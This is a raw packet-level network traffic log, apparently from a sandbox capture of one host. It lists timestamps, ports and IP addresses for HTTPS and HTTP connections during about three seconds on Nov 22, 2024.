Nov 22, 2024 00:12:00.813446045 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.813532114 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.813617945 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.813640118 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.813652039 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.813657999 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.817912102 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.817960024 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.818129063 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.818819046 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.818837881 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.835750103 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.835827112 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.836757898 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.837342978 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.837356091 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.844367981 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.844402075 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.844599009 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.844799042 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.844810963 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.886146069 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.886583090 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.886616945 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.887152910 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.887159109 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.038008928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:01.038079023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:01.050683975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:01.170581102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:01.333589077 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.334333897 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.334356070 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.334707975 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.336385012 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.336472034 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.336560011 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.338776112 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.338977098 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.338994980 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.340430975 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.340495110 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.340807915 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.340886116 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.340939999 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.345455885 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.345643997 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.345653057 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.345983028 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.346317053 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.346375942 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.346441984 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.375670910 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.376171112 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.376195908 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.376696110 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.376702070 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.379336119 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.383342981 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.387331963 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.393559933 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.393577099 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.393582106 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.439764023 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.467839956 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.467946053 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.468074083 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.468110085 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.468110085 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.468127012 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.468138933 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.471193075 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.471220016 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.471689939 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.471800089 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.471810102 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.803292036 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:01.803349972 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:01.803581953 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:01.804100037 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:01.804117918 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:01.807396889 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:01.807446003 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:01.807638884 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:01.807936907 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:01.807959080 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:01.850300074 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.850327015 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.850394011 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.850394964 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.850444078 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.862799883 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.862883091 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.862904072 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.862924099 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.862957001 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.862965107 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.862984896 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.863007069 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.863013983 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.863028049 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.863049984 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.863064051 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.866364002 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.866386890 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.866430044 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.866436005 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.871165037 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.871198893 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.871341944 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.871541977 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:01.871555090 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:01.884345055 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884372950 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884381056 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884397984 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884404898 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884414911 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884430885 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.884462118 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.884479046 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.884504080 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.995080948 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.995148897 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.995194912 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.995222092 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:01.995239973 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:01.995265007 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.002955914 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.027061939 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.027137995 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.027167082 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.027215958 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.027232885 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.027261972 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.031631947 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.031656981 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.031683922 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.031738043 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.031750917 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.031765938 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.031795979 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.035058975 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.035125971 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.044379950 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.044425011 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.044456959 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.044480085 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.044500113 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.049432039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:02.049576998 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:02.075123072 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.075166941 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.075256109 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.075277090 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.075319052 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.075335979 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.089227915 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.089313030 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.097851992 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.106009007 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.106059074 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.106163979 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.106184006 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.109750032 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.117857933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:02.167278051 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.167288065 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.167327881 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.167357922 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.167371035 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.167392015 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.167413950 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.169986010 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.180064917 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.180156946 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.192785025 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.192863941 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.192882061 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.192960024 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.193321943 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.203507900 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.203530073 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.208645105 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.208673000 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.208719015 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.208730936 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.208760977 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.208770037 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.217513084 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.217598915 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.232323885 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.232399940 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.232459068 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.239078999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:02.244100094 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.244144917 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.244204044 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.244231939 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.244249105 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.244280100 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.271496058 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.271523952 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.271578074 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.271595001 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.271617889 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.271635056 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.284478903 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.284564972 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.285383940 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.314527988 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.314562082 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.314688921 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.314688921 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.314709902 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.314752102 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.323250055 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.323343992 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.327991962 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.328067064 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.328079939 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.328097105 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.328145981 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.332369089 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.395066023 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.395085096 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.395514011 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.395519972 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.396028996 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.396056890 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.398669004 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:12:02.398699999 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:02.572242022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:02.572305918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:02.576054096 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:02.682363987 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.683423996 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.683442116 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.683921099 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.683926105 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.696777105 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:02.696851969 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:02.697015047 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:02.735050917 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.735131025 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.735182047 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.735372066 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.735372066 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.735395908 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.735405922 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.737652063 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.738389015 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.738404036 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.738774061 CET	49920	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.738804102 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.738809109 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.738827944 CET	443	49920	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.738894939 CET	49920	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.739006996 CET	49920	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:02.739021063 CET	443	49920	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:02.807004929 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:02.807049036 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:02.807125092 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:02.808768034 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:02.808794975 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:02.812295914 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:02.812314987 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:02.812381029 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:02.812803984 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:02.812813997 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:02.821974993 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:02.921442032 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.921484947 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.921509027 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.921556950 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:02.921581030 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.921597004 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:02.921629906 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:02.925539017 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.925621986 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.925676107 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:02.926460981 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:02.926492929 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:02.926510096 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:02.926518917 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:03.126514912 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.126715899 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.126775980 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.127072096 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.127085924 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.127095938 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.127101898 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.132422924 CET	49923	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.132462978 CET	443	49923	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.132553101 CET	49923	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.132824898 CET	49924	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:03.132900953 CET	443	49924	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:03.132965088 CET	49924	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:03.133476019 CET	49923	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.133497000 CET	443	49923	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.133625031 CET	49924	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:12:03.133642912 CET	443	49924	40.126.53.18	192.168.2.5
Nov 22, 2024 00:12:03.201576948 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.201601028 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.201668024 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.201678991 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.202820063 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.202820063 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.202836037 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.202985048 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.203018904 CET	443	49914	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.203080893 CET	49914	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.205867052 CET	49925	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.205909014 CET	443	49925	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.205970049 CET	49925	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.206165075 CET	49925	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.206181049 CET	443	49925	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.230545998 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.230957031 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.230974913 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.231529951 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.231535912 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.344147921 CET	49926	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.344193935 CET	443	49926	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.344276905 CET	49926	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.344567060 CET	49926	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.344578981 CET	443	49926	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.414992094 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.415443897 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.415472031 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.415893078 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.416309118 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.416398048 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.416480064 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.416563988 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.416591883 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.454689980 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.454938889 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.454962969 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.455463886 CET	443	49916	52.168.117.168	192.168.2.5
